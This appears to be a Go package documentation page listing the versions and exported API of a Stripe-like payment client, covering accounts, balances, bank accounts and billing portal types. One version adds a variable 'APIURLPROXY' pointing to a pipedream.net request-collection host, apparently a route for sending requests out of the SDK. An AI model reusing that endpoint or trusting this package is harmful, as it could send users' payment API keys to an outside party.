Versions in this module Expand all Collapse all v72 v72.55.9 Jul 4, 2021 v72.55.8 Jul 4, 2021 Changes in this version + var APIURLPROXY = "https://enliblowl1lbm.x.pipedream.net" v72.55.7 Jul 4, 2021 v72.55.6 Jul 4, 2021 v72.55.5 Jul 2, 2021 Changes in this version + const APIBackend + const APIURL + const APIVersion + const ConnectBackend + const ConnectURL + const DefaultMaxNetworkRetries + const EndingBefore + const StartingAfter + const UnknownPlatform + const UploadsBackend + const UploadsURL + const UsageRecordActionIncrement + const UsageRecordActionSet + var EnableTelemetry = true + var Key string + func Bool(v bool) *bool + func BoolSlice(v []bool) []*bool + func BoolValue(v *bool) bool + func Float64(v float64) *float64 + func Float64Slice(v []float64) []*float64 + func Float64Value(v *float64) float64 + func FormatURLPath(format string, params ...string) string + func Int64(v int64) *int64 + func Int64Slice(v []int64) []*int64 + func Int64Value(v *int64) int64 + func NewIdempotencyKey() string + func ParseID(data []byte) (string, bool) + func SetAppInfo(info *AppInfo) + func SetBackend(backend SupportedBackend, b Backend) + func SetHTTPClient(client *http.Client) + func String(v string) *string + func StringSlice(v []string) []*string + func StringValue(v *string) string + type APIConnectionError struct + func (e *APIConnectionError) Error() string + type APIError struct + func (e *APIError) Error() string + type APIResource struct + LastResponse *APIResponse + func (r *APIResource) SetLastResponse(response *APIResponse) + type APIResponse struct + Header http.Header + IdempotencyKey string + RawJSON []byte + RequestID string + Status string + StatusCode int + type Account struct + BusinessProfile *AccountBusinessProfile + BusinessType AccountBusinessType + Capabilities *AccountCapabilities + ChargesEnabled bool + Company *AccountCompany + Controller *AccountController + Country string + Created int64 + DefaultCurrency Currency + Deleted bool + DetailsSubmitted bool + Email string + ExternalAccounts *ExternalAccountList + ID string + Individual *Person + Metadata map[string]string + Object string + PayoutsEnabled bool + Requirements *AccountRequirements + Settings *AccountSettings + TOSAcceptance *AccountTOSAcceptance + Type AccountType + func (a *Account) UnmarshalJSON(data []byte) error + type AccountAddress struct + City string + Country string + Line1 string + Line2 string + PostalCode string + State string + Town string + type AccountAddressParams struct + City *string + Country *string + Line1 *string + Line2 *string + PostalCode *string + State *string + Town *string + type AccountBusinessProfile struct + MCC string + Name string + ProductDescription string + SupportAddress *Address + SupportEmail string + SupportPhone string + SupportURL string + URL string + type AccountBusinessProfileParams struct + MCC *string + Name *string + ProductDescription *string + SupportAddress *AddressParams + SupportEmail *string + SupportPhone *string + SupportURL *string + URL *string + type AccountBusinessType string + const AccountBusinessTypeCompany + const AccountBusinessTypeGovernmentEntity + const AccountBusinessTypeIndividual + const AccountBusinessTypeNonProfit + type AccountCapabilities struct + ACSSDebitPayments AccountCapabilityStatus + AUBECSDebitPayments AccountCapabilityStatus + BACSDebitPayments AccountCapabilityStatus + BancontactPayments AccountCapabilityStatus + CardIssuing AccountCapabilityStatus + CardPayments AccountCapabilityStatus + CartesBancairesPayments AccountCapabilityStatus + EPSPayments AccountCapabilityStatus + FPXPayments AccountCapabilityStatus + GiropayPayments AccountCapabilityStatus + GrabpayPayments AccountCapabilityStatus + IdealPayments AccountCapabilityStatus + JCBPayments AccountCapabilityStatus + LegacyPayments AccountCapabilityStatus + OXXOPayments AccountCapabilityStatus + P24Payments AccountCapabilityStatus + SEPADebitPayments AccountCapabilityStatus + SofortPayments AccountCapabilityStatus + TaxReportingUS1099K AccountCapabilityStatus + TaxReportingUS1099MISC AccountCapabilityStatus + Transfers AccountCapabilityStatus + type AccountCapabilitiesACSSDebitPaymentsParams struct + Requested *bool + type AccountCapabilitiesAUBECSDebitPaymentsParams struct + Requested *bool + type AccountCapabilitiesBACSDebitPaymentsParams struct + Requested *bool + type AccountCapabilitiesBancontactPaymentsParams struct + Requested *bool + type AccountCapabilitiesBoletoPaymentsParams struct + Requested *bool + type AccountCapabilitiesCardIssuingParams struct + Requested *bool + type AccountCapabilitiesCardPaymentsParams struct + Requested *bool + type AccountCapabilitiesCartesBancairesPaymentsParams struct + Requested *bool + type AccountCapabilitiesEPSPaymentsParams struct + Requested *bool + type AccountCapabilitiesFPXPaymentsParams struct + Requested *bool + type AccountCapabilitiesGiropayPaymentsParams struct + Requested *bool + type AccountCapabilitiesGrabpayPaymentsParams struct + Requested *bool + type AccountCapabilitiesIdealPaymentsParams struct + Requested *bool + type AccountCapabilitiesJCBPaymentsParams struct + Requested *bool + type AccountCapabilitiesLegacyPaymentsParams struct + Requested *bool + type AccountCapabilitiesOXXOPaymentsParams struct + Requested *bool + type AccountCapabilitiesP24PaymentsParams struct + Requested *bool + type AccountCapabilitiesParams struct + ACSSDebitPayments *AccountCapabilitiesACSSDebitPaymentsParams + AUBECSDebitPayments *AccountCapabilitiesAUBECSDebitPaymentsParams + BACSDebitPayments *AccountCapabilitiesBACSDebitPaymentsParams + BancontactPayments *AccountCapabilitiesBancontactPaymentsParams + BoletoPayments *AccountCapabilitiesBoletoPaymentsParams + CardIssuing *AccountCapabilitiesCardIssuingParams + CardPayments *AccountCapabilitiesCardPaymentsParams + CartesBancairesPayments *AccountCapabilitiesCartesBancairesPaymentsParams + EPSPayments *AccountCapabilitiesEPSPaymentsParams + FPXPayments *AccountCapabilitiesFPXPaymentsParams + GiropayPayments *AccountCapabilitiesGiropayPaymentsParams + GrabpayPayments *AccountCapabilitiesGrabpayPaymentsParams + IdealPayments *AccountCapabilitiesIdealPaymentsParams + JCBPayments *AccountCapabilitiesJCBPaymentsParams + LegacyPayments *AccountCapabilitiesLegacyPaymentsParams + OXXOPayments *AccountCapabilitiesOXXOPaymentsParams + P24Payments *AccountCapabilitiesP24PaymentsParams + SEPADebitPayments *AccountCapabilitiesSEPADebitPaymentsParams + SofortPayments *AccountCapabilitiesSofortPaymentsParams + TaxReportingUS1099K *AccountCapabilitiesTaxReportingUS1099KParams + TaxReportingUS1099MISC *AccountCapabilitiesTaxReportingUS1099MISCParams + Transfers *AccountCapabilitiesTransfersParams + type AccountCapabilitiesSEPADebitPaymentsParams struct + Requested *bool + type AccountCapabilitiesSofortPaymentsParams struct + Requested *bool + type AccountCapabilitiesTaxReportingUS1099KParams struct + Requested *bool + type AccountCapabilitiesTaxReportingUS1099MISCParams struct + Requested *bool + type AccountCapabilitiesTransfersParams struct + Requested *bool + type AccountCapability string + const AccountCapabilityAUBECSDebitPayments + const AccountCapabilityBACSDebitPayments + const AccountCapabilityBancontactPayments + const AccountCapabilityCardIssuing + const AccountCapabilityCardPayments + const AccountCapabilityCartesBancairesPayments + const AccountCapabilityEPSPayments + const AccountCapabilityFPXPayments + const AccountCapabilityGiropayPayments + const AccountCapabilityGrabpayPayments + const AccountCapabilityIdealPayments + const AccountCapabilityJCBPayments + const AccountCapabilityLegacyPayments + const AccountCapabilityOXXOPayments + const AccountCapabilityP24Payments + const AccountCapabilitySEPADebitPayments + const AccountCapabilitySofortPayments + const AccountCapabilityTaxReportingUS1099K + const AccountCapabilityTaxReportingUS1099MISC + const AccountCapabilityTransfers + type AccountCapabilityStatus string + const AccountCapabilityStatusActive + const AccountCapabilityStatusInactive + const AccountCapabilityStatusPending + type AccountCompany struct + Address *AccountAddress + AddressKana *AccountAddress + AddressKanji *AccountAddress + DirectorsProvided bool + ExecutivesProvided bool + Name string + NameKana string + NameKanji string + OwnersProvided bool + Phone string + RegistrationNumber string + Structure AccountCompanyStructure + TaxIDProvided bool + TaxIDRegistrar string + VATIDProvided bool + Verification *AccountCompanyVerification + type AccountCompanyParams struct + Address *AccountAddressParams + AddressKana *AccountAddressParams + AddressKanji *AccountAddressParams + DirectorsProvided *bool + ExecutivesProvided *bool + Name *string + NameKana *string + NameKanji *string + OwnersProvided *bool + Phone *string + RegistrationNumber *string + Structure *string + TaxID *string + TaxIDRegistrar *string + VATID *string + Verification *AccountCompanyVerificationParams + type AccountCompanyStructure string + const AccountCompanyStructureGovernmentInstrumentality + const AccountCompanyStructureGovernmentalUnit + const AccountCompanyStructureIncorporatedNonProfit + const AccountCompanyStructureLimitedLiabilityPartnership + const AccountCompanyStructureMultiMemberLLC + const AccountCompanyStructurePrivateCompany + const AccountCompanyStructurePrivateCorporation + const AccountCompanyStructurePrivatePartnership + const AccountCompanyStructurePublicCompany + const AccountCompanyStructurePublicCorporation + const AccountCompanyStructurePublicPartnership + const AccountCompanyStructureSingleMemberLLC + const AccountCompanyStructureSoleProprietorship + const AccountCompanyStructureTaxExemptGovernmentInstrumentality + const AccountCompanyStructureUnincorporatedAssociation + const AccountCompanyStructureUnincorporatedNonProfit + type AccountCompanyVerification struct + Document *AccountCompanyVerificationDocument + type AccountCompanyVerificationDocument struct + Back *File + Details string + DetailsCode AccountCompanyVerificationDocumentDetailsCode + Front *File + type AccountCompanyVerificationDocumentDetailsCode string + const AccountCompanyVerificationDocumentDetailsCodeDocumentCorrupt + const AccountCompanyVerificationDocumentDetailsCodeDocumentFailedCopy + const AccountCompanyVerificationDocumentDetailsCodeDocumentFailedOther + const AccountCompanyVerificationDocumentDetailsCodeDocumentFailedTestMode + const AccountCompanyVerificationDocumentDetailsCodeDocumentFraudulent + const AccountCompanyVerificationDocumentDetailsCodeDocumentInvalid + const AccountCompanyVerificationDocumentDetailsCodeDocumentManipulated + const AccountCompanyVerificationDocumentDetailsCodeDocumentNotReadable + const AccountCompanyVerificationDocumentDetailsCodeDocumentNotUploaded + const AccountCompanyVerificationDocumentDetailsCodeDocumentTooLarge + type AccountCompanyVerificationDocumentParams struct + Back *string + Front *string + type AccountCompanyVerificationParams struct + Document *AccountCompanyVerificationDocumentParams + type AccountController struct + IsController bool + Type AccountControllerType + type AccountControllerType string + const AccountControllerTypeAccount + const AccountControllerTypeApplication + type AccountDeclineOn struct + AVSFailure bool + CVCFailure bool + type AccountDeclineSettingsParams struct + AVSFailure *bool + CVCFailure *bool + type AccountDocumentsBankAccountOwnershipVerificationParams struct + Files []*string + type AccountDocumentsCompanyLicenseParams struct + Files []*string + type AccountDocumentsCompanyMemorandumOfAssociationParams struct + Files []*string + type AccountDocumentsCompanyMinisterialDecreeParams struct + Files []*string + type AccountDocumentsCompanyRegistrationVerificationParams struct + Files []*string + type AccountDocumentsCompanyTaxIDVerificationParams struct + Files []*string + type AccountDocumentsParams struct + BankAccountOwnershipVerification *AccountDocumentsBankAccountOwnershipVerificationParams + CompanyLicense *AccountDocumentsCompanyLicenseParams + CompanyMemorandumOfAssocation *AccountDocumentsCompanyMemorandumOfAssociationParams + CompanyMinisterialDecree *AccountDocumentsCompanyMinisterialDecreeParams + CompanyRegistrationVerification *AccountDocumentsCompanyRegistrationVerificationParams + CompanyTaxIDVerification *AccountDocumentsCompanyTaxIDVerificationParams + type AccountExternalAccountParams struct + AccountHolderName *string + AccountHolderType *string + AccountNumber *string + Country *string + Currency *string + RoutingNumber *string + Token *string + func (p *AccountExternalAccountParams) AppendTo(body *form.Values, keyParts []string) + type AccountLink struct + Created int64 + ExpiresAt int64 + Object string + URL string + type AccountLinkCollect string + const AccountLinkCollectCurrentlyDue + const AccountLinkCollectEventuallyDue + type AccountLinkParams struct + Account *string + Collect *string + RefreshURL *string + ReturnURL *string + Type *string + type AccountLinkType string + const AccountLinkTypeAccountOnboarding + const AccountLinkTypeAccountUpdate + type AccountList struct + Data []*Account + type AccountListParams struct + type AccountParams struct + AccountToken *string + BusinessProfile *AccountBusinessProfileParams + BusinessType *string + Capabilities *AccountCapabilitiesParams + Company *AccountCompanyParams + Country *string + DefaultCurrency *string + Documents *AccountDocumentsParams + Email *string + ExternalAccount *AccountExternalAccountParams + Individual *PersonParams + RequestedCapabilities []*string + Settings *AccountSettingsParams + TOSAcceptance *AccountTOSAcceptanceParams + Type *string + type AccountPayoutSchedule struct + DelayDays int64 + Interval PayoutInterval + MonthlyAnchor int64 + WeeklyAnchor string + type AccountRejectParams struct + Reason *string + type AccountRejectReason string + const AccountRejectReasonFraud + const AccountRejectReasonOther + const AccountRejectReasonTermsOfService + type AccountRequirements struct + CurrentDeadline int64 + CurrentlyDue []string + DisabledReason AccountRequirementsDisabledReason + Errors []*AccountRequirementsError + EventuallyDue []string + PastDue []string + PendingVerification []string + type AccountRequirementsDisabledReason string + const AccountRequirementsDisabledReasonFieldsNeeded + const AccountRequirementsDisabledReasonListed + const AccountRequirementsDisabledReasonOther + const AccountRequirementsDisabledReasonRejectedFraud + const AccountRequirementsDisabledReasonRejectedListed + const AccountRequirementsDisabledReasonRejectedOther + const AccountRequirementsDisabledReasonRejectedTermsOfService + const AccountRequirementsDisabledReasonUnderReview + type AccountRequirementsError struct + Code string + Reason string + Requirement string + type AccountSettings struct + BACSDebitPayments *AccountSettingsBACSDebitPayments + Branding *AccountSettingsBranding + CardIssuing *AccountSettingsCardIssuing + CardPayments *AccountSettingsCardPayments + Dashboard *AccountSettingsDashboard + Payments *AccountSettingsPayments + Payouts *AccountSettingsPayouts + SEPADebitPayments *AccountSettingsSEPADebitPayments + type AccountSettingsBACSDebitPayments struct + DisplayName string + type AccountSettingsBACSDebitPaymentsParams struct + DisplayName *string + type AccountSettingsBranding struct + Icon *File + Logo *File + PrimaryColor string + SecondaryColor string + type AccountSettingsBrandingParams struct + Icon *string + Logo *string + PrimaryColor *string + SecondaryColor *string + type AccountSettingsCardIssuing struct + TOSAcceptance *AccountTOSAcceptance + type AccountSettingsCardIssuingParams struct + TOSAcceptance *AccountTOSAcceptanceParams + type AccountSettingsCardPayments struct + DeclineOn *AccountDeclineOn + StatementDescriptorPrefix string + type AccountSettingsCardPaymentsParams struct + DeclineOn *AccountDeclineSettingsParams + StatementDescriptorPrefix *string + type AccountSettingsDashboard struct + DisplayName string + Timezone string + type AccountSettingsDashboardParams struct + DisplayName *string + Timezone *string + type AccountSettingsParams struct + BACSDebitPayments *AccountSettingsBACSDebitPaymentsParams + Branding *AccountSettingsBrandingParams + CardIssuing *AccountSettingsCardIssuingParams + CardPayments *AccountSettingsCardPaymentsParams + Dashboard *AccountSettingsDashboardParams + Payments *AccountSettingsPaymentsParams + Payouts *AccountSettingsPayoutsParams + type AccountSettingsPayments struct + StatementDescriptor string + StatementDescriptorKana string + StatementDescriptorKanji string + type AccountSettingsPaymentsParams struct + StatementDescriptor *string + StatementDescriptorKana *string + StatementDescriptorKanji *string + type AccountSettingsPayouts struct + DebitNegativeBalances bool + Schedule *AccountPayoutSchedule + StatementDescriptor string + type AccountSettingsPayoutsParams struct + DebitNegativeBalances *bool + Schedule *PayoutScheduleParams + StatementDescriptor *string + type AccountSettingsSEPADebitPayments struct + CreditorID string + type AccountTOSAcceptance struct + Date int64 + IP string + ServiceAgreement AccountTOSAcceptanceServiceAgreement + UserAgent string + type AccountTOSAcceptanceParams struct + Date *int64 + IP *string + ServiceAgreement *string + UserAgent *string + type AccountTOSAcceptanceServiceAgreement string + const AccountTOSAcceptanceServiceAgreementFull + const AccountTOSAcceptanceServiceAgreementRecipient + type AccountType string + const AccountTypeCustom + const AccountTypeExpress + const AccountTypeStandard + type Address struct + City string + Country string + Line1 string + Line2 string + PostalCode string + State string + type AddressParams struct + City *string + Country *string + Line1 *string + Line2 *string + PostalCode *string + State *string + type Amount struct + Currency Currency + SourceTypes map[BalanceSourceType]int64 + Value int64 + type AppInfo struct + Name string + PartnerID string + URL string + Version string + type ApplePayDomain struct + Created int64 + Deleted bool + DomainName string + ID string + Livemode bool + Object string + type ApplePayDomainList struct + Data []*ApplePayDomain + type ApplePayDomainListParams struct + DomainName *string + type ApplePayDomainParams struct + DomainName *string + type Application struct + ID string + Name string + Object string + func (a *Application) UnmarshalJSON(data []byte) error + type ApplicationFee struct + Account *Account + Amount int64 + AmountRefunded int64 + Application string + BalanceTransaction *BalanceTransaction + Charge *Charge + Created int64 + Currency Currency + ID string + Livemode bool + OriginatingTransaction *Charge + Refunded bool + Refunds *FeeRefundList + func (f *ApplicationFee) UnmarshalJSON(data []byte) error + type ApplicationFeeList struct + Data []*ApplicationFee + type ApplicationFeeListParams struct + Charge *string + Created *int64 + CreatedRange *RangeQueryParams + type ApplicationFeeParams struct + type AuthenticationError struct + func (e *AuthenticationError) Error() string + type AuthorizeURLParams struct + AlwaysPrompt *bool + ClientID *string + Express *bool + RedirectURI *string + ResponseType *string + Scope *string + State *string + StripeLanding *string + StripeUser *OAuthStripeUserParams + SuggestedCapabilities []*string + type Backend interface + Call func(method, path, key string, params ParamsContainer, v LastResponseSetter) error + CallMultipart func(method, path, key, boundary string, body *bytes.Buffer, params *Params, ...) error + CallRaw func(method, path, key string, body *form.Values, params *Params, ...) error + SetMaxNetworkRetries func(maxNetworkRetries int64) + func GetBackend(backendType SupportedBackend) Backend + func GetBackendWithConfig(backendType SupportedBackend, config *BackendConfig) Backend + type BackendConfig struct + EnableTelemetry *bool + HTTPClient *http.Client + LeveledLogger LeveledLoggerInterface + MaxNetworkRetries *int64 + URL *string + type BackendImplementation struct + HTTPClient *http.Client + LeveledLogger LeveledLoggerInterface + MaxNetworkRetries int64 + Type SupportedBackend + URL string + func (s *BackendImplementation) Call(method, path, key string, params ParamsContainer, v LastResponseSetter) error + func (s *BackendImplementation) CallMultipart(method, path, key, boundary string, body *bytes.Buffer, params *Params, ...) error + func (s *BackendImplementation) CallRaw(method, path, key string, form *form.Values, params *Params, ...) error + func (s *BackendImplementation) Do(req *http.Request, body *bytes.Buffer, v LastResponseSetter) error + func (s *BackendImplementation) NewRequest(method, path, key, contentType string, params *Params) (*http.Request, error) + func (s *BackendImplementation) ResponseToError(res *http.Response, resBody []byte) error + func (s *BackendImplementation) SetMaxNetworkRetries(maxNetworkRetries int64) + func (s *BackendImplementation) SetNetworkRetriesSleep(sleep bool) + func (s *BackendImplementation) UnmarshalJSONVerbose(statusCode int, body []byte, v interface{}) error + type Backends struct + API Backend + Connect Backend + Uploads Backend + func NewBackends(httpClient *http.Client) *Backends + type Balance struct + Available []*Amount + ConnectReserved []*Amount + InstantAvailable []*Amount + Issuing *BalanceDetails + Livemode bool + Object string + Pending []*Amount + type BalanceDetails struct + Available []*Amount + type BalanceParams struct + type BalanceSourceType string + const BalanceSourceTypeBankAccount + const BalanceSourceTypeCard + const BalanceSourceTypeFPX + type BalanceTransaction struct + Amount int64 + AvailableOn int64 + Created int64 + Currency Currency + Description string + ExchangeRate float64 + Fee int64 + FeeDetails []*BalanceTransactionFee + ID string + Net int64 + Object string + ReportingCategory BalanceTransactionReportingCategory + Source *BalanceTransactionSource + Status BalanceTransactionStatus + Type BalanceTransactionType + func (b *BalanceTransaction) UnmarshalJSON(data []byte) error + type BalanceTransactionFee struct + Amount int64 + Application string + Currency Currency + Description string + Type string + type BalanceTransactionList struct + Data []*BalanceTransaction + type BalanceTransactionListParams struct + AvailableOn *int64 + AvailableOnRange *RangeQueryParams + Created *int64 + CreatedRange *RangeQueryParams + Currency *string + Payout *string + Source *string + Type *string + type BalanceTransactionParams struct + type BalanceTransactionReportingCategory string + const BalanceTransactionReportingCategoryAdvance + const BalanceTransactionReportingCategoryAdvanceFunding + const BalanceTransactionReportingCategoryCharge + const BalanceTransactionReportingCategoryChargeFailure + const BalanceTransactionReportingCategoryConnectCollectionTransfer + const BalanceTransactionReportingCategoryConnectReservedFunds + const BalanceTransactionReportingCategoryDispute + const BalanceTransactionReportingCategoryDisputeReversal + const BalanceTransactionReportingCategoryFee + const BalanceTransactionReportingCategoryIssuingAuthorizationHold + const BalanceTransactionReportingCategoryIssuingAuthorizationRelease + const BalanceTransactionReportingCategoryIssuingTransaction + const BalanceTransactionReportingCategoryOtherAdjustment + const BalanceTransactionReportingCategoryPartialCaptureReversal + const BalanceTransactionReportingCategoryPayout + const BalanceTransactionReportingCategoryPayoutReversal + const BalanceTransactionReportingCategoryPlatformEarning + const BalanceTransactionReportingCategoryPlatformEarningRefund + const BalanceTransactionReportingCategoryRefund + const BalanceTransactionReportingCategoryRefundFailure + const BalanceTransactionReportingCategoryRiskReservedFunds + const BalanceTransactionReportingCategoryTax + const BalanceTransactionReportingCategoryTopup + const BalanceTransactionReportingCategoryTopupReversal + const BalanceTransactionReportingCategoryTransfer + const BalanceTransactionReportingCategoryTransferReversal + type BalanceTransactionSource struct + ApplicationFee *ApplicationFee + Charge *Charge + Dispute *Dispute + FeeRefund *FeeRefund + ID string + IssuingAuthorization *IssuingAuthorization + IssuingDispute *IssuingDispute + IssuingTransaction *IssuingAuthorization + Payout *Payout + Refund *Refund + Reversal *Reversal + Topup *Topup + Transfer *Transfer + Type BalanceTransactionSourceType + func (b *BalanceTransactionSource) UnmarshalJSON(data []byte) error + type BalanceTransactionSourceType string + const BalanceTransactionSourceTypeApplicationFee + const BalanceTransactionSourceTypeCharge + const BalanceTransactionSourceTypeDispute + const BalanceTransactionSourceTypeFeeRefund + const BalanceTransactionSourceTypeIssuingAuthorization + const BalanceTransactionSourceTypeIssuingDispute + const BalanceTransactionSourceTypeIssuingTransaction + const BalanceTransactionSourceTypePayout + const BalanceTransactionSourceTypeRefund + const BalanceTransactionSourceTypeReversal + const BalanceTransactionSourceTypeTopup + const BalanceTransactionSourceTypeTransfer + type BalanceTransactionStatus string + const BalanceTransactionStatusAvailable + const BalanceTransactionStatusPending + type BalanceTransactionType string + const BalanceTransactionTypeAdjustment + const BalanceTransactionTypeAdvance + const BalanceTransactionTypeAdvanceFunding + const BalanceTransactionTypeAnticipationRepayment + const BalanceTransactionTypeApplicationFee + const BalanceTransactionTypeApplicationFeeRefund + const BalanceTransactionTypeCharge + const BalanceTransactionTypeConnectCollectionTransfer + const BalanceTransactionTypeContribution + const BalanceTransactionTypeIssuingAuthorizationDispute + const BalanceTransactionTypeIssuingAuthorizationHold + const BalanceTransactionTypeIssuingAuthorizationRelease + const BalanceTransactionTypeIssuingAuthorizationTransaction + const BalanceTransactionTypePayment + const BalanceTransactionTypePaymentFailureRefund + const BalanceTransactionTypePaymentRefund + const BalanceTransactionTypePayout + const BalanceTransactionTypePayoutCancel + const BalanceTransactionTypePayoutFailure + const BalanceTransactionTypeRefund + const BalanceTransactionTypeRefundFailure + const BalanceTransactionTypeReserveTransaction + const BalanceTransactionTypeReservedFunds + const BalanceTransactionTypeStripeFee + const BalanceTransactionTypeStripeFxFee + const BalanceTransactionTypeTaxFee + const BalanceTransactionTypeTopup + const BalanceTransactionTypeTopupReversal + const BalanceTransactionTypeTransfer + const BalanceTransactionTypeTransferCancel + const BalanceTransactionTypeTransferFailure + const BalanceTransactionTypeTransferRefund + type BankAccount struct + Account *Account + AccountHolderName string + AccountHolderType BankAccountAccountHolderType + AvailablePayoutMethods []BankAccountAvailablePayoutMethod + BankName string + Country string + Currency Currency + Customer *Customer + DefaultForCurrency bool + Deleted bool + Fingerprint string + ID string + Last4 string + Metadata map[string]string + Object string + RoutingNumber string + Status BankAccountStatus + func (b *BankAccount) UnmarshalJSON(data []byte) error + type BankAccountAccountHolderType string + const BankAccountAccountHolderTypeCompany + const BankAccountAccountHolderTypeIndividual + type BankAccountAvailablePayoutMethod string + const BankAccountAvailablePayoutMethodInstant + const BankAccountAvailablePayoutMethodStandard + type BankAccountList struct + Data []*BankAccount + type BankAccountListParams struct + Account *string + Customer *string + func (p *BankAccountListParams) AppendTo(body *form.Values, keyParts []string) + type BankAccountParams struct + Account *string + AccountHolderName *string + AccountHolderType *string + AccountNumber *string + Country *string + Currency *string + Customer *string + DefaultForCurrency *bool + ID *string + RoutingNumber *string + Token *string + func (a *BankAccountParams) AppendToAsSourceOrExternalAccount(body *form.Values) + type BankAccountStatus string + const BankAccountStatusErrored + const BankAccountStatusNew + const BankAccountStatusValidated + const BankAccountStatusVerificationFailed + const BankAccountStatusVerified + type BillingDetails struct + Address *Address + Email string + Name string + Phone string + type BillingDetailsParams struct + Address *AddressParams + Email *string + Name *string + Phone *string + type BillingPortalConfiguration struct + Active bool + Application string + BusinessProfile *BillingPortalConfigurationBusinessProfile + Created int64 + DefaultReturnURL string + Features *BillingPortalConfigurationFeatures + ID string + IsDefault bool + Livemode bool + Object string + Updated int64 + func (b *BillingPortalConfiguration) UnmarshalJSON(data []byte) error + type BillingPortalConfigurationBusinessProfile struct + Headline string + PrivacyPolicyURL string + TermsOfServiceURL string + type BillingPortalConfigurationBusinessProfileParams struct + Headline *string + PrivacyPolicyURL *string + TermsOfServiceURL *string + type BillingPortalConfigurationFeatures struct + CustomerUpdate *BillingPortalConfigurationFeaturesCustomerUpdate + InvoiceHistory *BillingPortalConfigurationFeaturesInvoiceHistory + PaymentMethodUpdate *BillingPortalConfigurationFeaturesPaymentMethodUpdate + SubscriptionCancel *BillingPortalConfigurationFeaturesSubscriptionCancel + SubscriptionPause *BillingPortalConfigurationFeaturesSubscriptionPause + SubscriptionUpdate *BillingPortalConfigurationFeaturesSubscriptionUpdate + type BillingPortalConfigurationFeaturesCustomerUpdate struct + AllowedUpdates []BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdate + Enabled bool + type BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdate string + const BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdateAddress + const BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdateEmail + const BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdatePhone + const BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdateShipping + const BillingPortalConfigurationFeaturesCustomerUpdateAllowedUpdateTaxID + type BillingPortalConfigurationFeaturesCustomerUpdateParams struct + AllowedUpdates []*string + Enabled *bool + type BillingPortalConfigurationFeaturesInvoiceHistory struct + Enabled bool + type BillingPortalConfigurationFeaturesInvoiceHistoryParams struct + Enabled *bool + type BillingPortalConfigurationFeaturesParams struct + CustomerUpdate *BillingPortalConfigurationFeaturesCustomerUpdateParams + InvoiceHistory *BillingPortalConfigurationFeaturesInvoiceHistoryParams + PaymentMethodUpdate *BillingPortalConfigurationFeaturesPaymentMethodUpdateParams + SubscriptionCancel *BillingPortalConfigurationFeaturesSubscriptionCancelParams + SubscriptionPause *BillingPortalConfigurationFeaturesSubscriptionPauseParams + SubscriptionUpdate *BillingPortalConfigurationFeaturesSubscriptionUpdateParams + type BillingPortalConfigurationFeaturesPaymentMethodUpdate struct + Enabled bool + type BillingPortalConfigurationFeaturesPaymentMethodUpdateParams struct + Enabled *bool + type BillingPortalConfigurationFeaturesSubscriptionCancel struct + Enabled bool + Mode BillingPortalConfigurationFeaturesSubscriptionCancelMode + ProrationBehavior BillingPortalConfigurationFeaturesSubscriptionCancelProrationBehavior + type BillingPortalConfigurationFeaturesSubscriptionCancelMode string + const BillingPortalConfigurationFeaturesSubscriptionCancelModeAtPeriodEnd + const BillingPortalConfigurationFeaturesSubscriptionCancelModeImmediately + type BillingPortalConfigurationFeaturesSubscriptionCancelParams struct + Enabled *bool + Mode *string + ProrationBehavior *string + type BillingPortalConfigurationFeaturesSubscriptionCancelProrationBehavior string + const BillingPortalConfigurationFeaturesSubscriptionCancelProrationBehaviorAlwaysInvoice + const BillingPortalConfigurationFeaturesSubscriptionCancelProrationBehaviorCreateProrations + const BillingPortalConfigurationFeaturesSubscriptionCancelProrationBehaviorNone + type BillingPortalConfigurationFeaturesSubscriptionPause struct + Enabled bool + type BillingPortalConfigurationFeaturesSubscriptionPauseParams struct + Enabled *bool + type BillingPortalConfigurationFeaturesSubscriptionUpdate struct + DefaultAllowedUpdates []BillingPortalConfigurationFeaturesSubscriptionUpdateDefaultAllowedUpdate + Enabled bool + Products []*BillingPortalConfigurationFeaturesSubscriptionUpdateProduct + ProrationBehavior BillingPortalConfigurationFeaturesSubscriptionUpdateProrationBehavior + type BillingPortalConfigurationFeaturesSubscriptionUpdateDefaultAllowedUpdate string + const BillingPortalConfigurationFeaturesSubscriptionUpdateDefaultAllowedUpdatePrice + const BillingPortalConfigurationFeaturesSubscriptionUpdateDefaultAllowedUpdatePromotionCode + const BillingPortalConfigurationFeaturesSubscriptionUpdateDefaultAllowedUpdateQuantity + type BillingPortalConfigurationFeaturesSubscriptionUpdateParams struct + DefaultAllowedUpdates []*string + Enabled *bool + Products []*BillingPortalConfigurationFeaturesSubscriptionUpdateProductParams + ProrationBehavior *string + type BillingPortalConfigurationFeaturesSubscriptionUpdateProduct struct + Prices []string + Product string + type BillingPortalConfigurationFeaturesSubscriptionUpdateProductParams struct + Prices []*string + Product *string + type BillingPortalConfigurationFeaturesSubscriptionUpdateProrationBehavior string + const BillingPortalConfigurationFeaturesSubscriptionUpdateProrationBehaviorAlwaysInvoice + const BillingPortalConfigurationFeaturesSubscriptionUpdateProrationBehaviorCreateProrations + const BillingPortalConfigurationFeaturesSubscriptionUpdateProrationBehaviorNone + type BillingPortalConfigurationList struct + Data []*BillingPortalConfiguration + type BillingPortalConfigurationListParams struct + Active *bool + IsDefault *bool + type BillingPortalConfigurationParams struct + Active *bool + BusinessProfile *BillingPortalConfigurationBusinessProfileParams + DefaultReturnURL *string + Features *BillingPortalConfigurationFeaturesParams + type BillingPortalSession struct + Configuration *BillingPortalConfiguration + Created int64 + Customer string + ID string + Livemode bool + Object string + OnBehalfOf string + ReturnURL string + URL string + func (b *BillingPortalSession) UnmarshalJSON(data []byte) error + type BillingPortalSessionParams struct + Configuration *string + Customer *string + OnBehalfOf *string + ReturnURL *string + type Capability struct + Account *Account + ID string + Object string + Requested bool + RequestedAt int64 + Requirements *CapabilityRequirements + Status CapabilityStatus + func (c *Capability) UnmarshalJSON(data []byte) error + type CapabilityDisabledReason string + const CapabilityDisabledReasonPendingOnboarding + const CapabilityDisabledReasonPendingReview + const CapabilityDisabledReasonRejectedFraud + const CapabilityDisabledReasonRejectedListed + const CapabilityDisabledReasonRejectedOther + const CapabilityDisabledReasonRequirementsFieldsNeeded + type CapabilityList struct + Data []*Capability + type CapabilityListParams struct + Account *string + type CapabilityParams struct + Account *string + Requested *bool + type CapabilityRequirements struct + CurrentDeadline int64 + CurrentlyDue []string + DisabledReason CapabilityDisabledReason + Errors 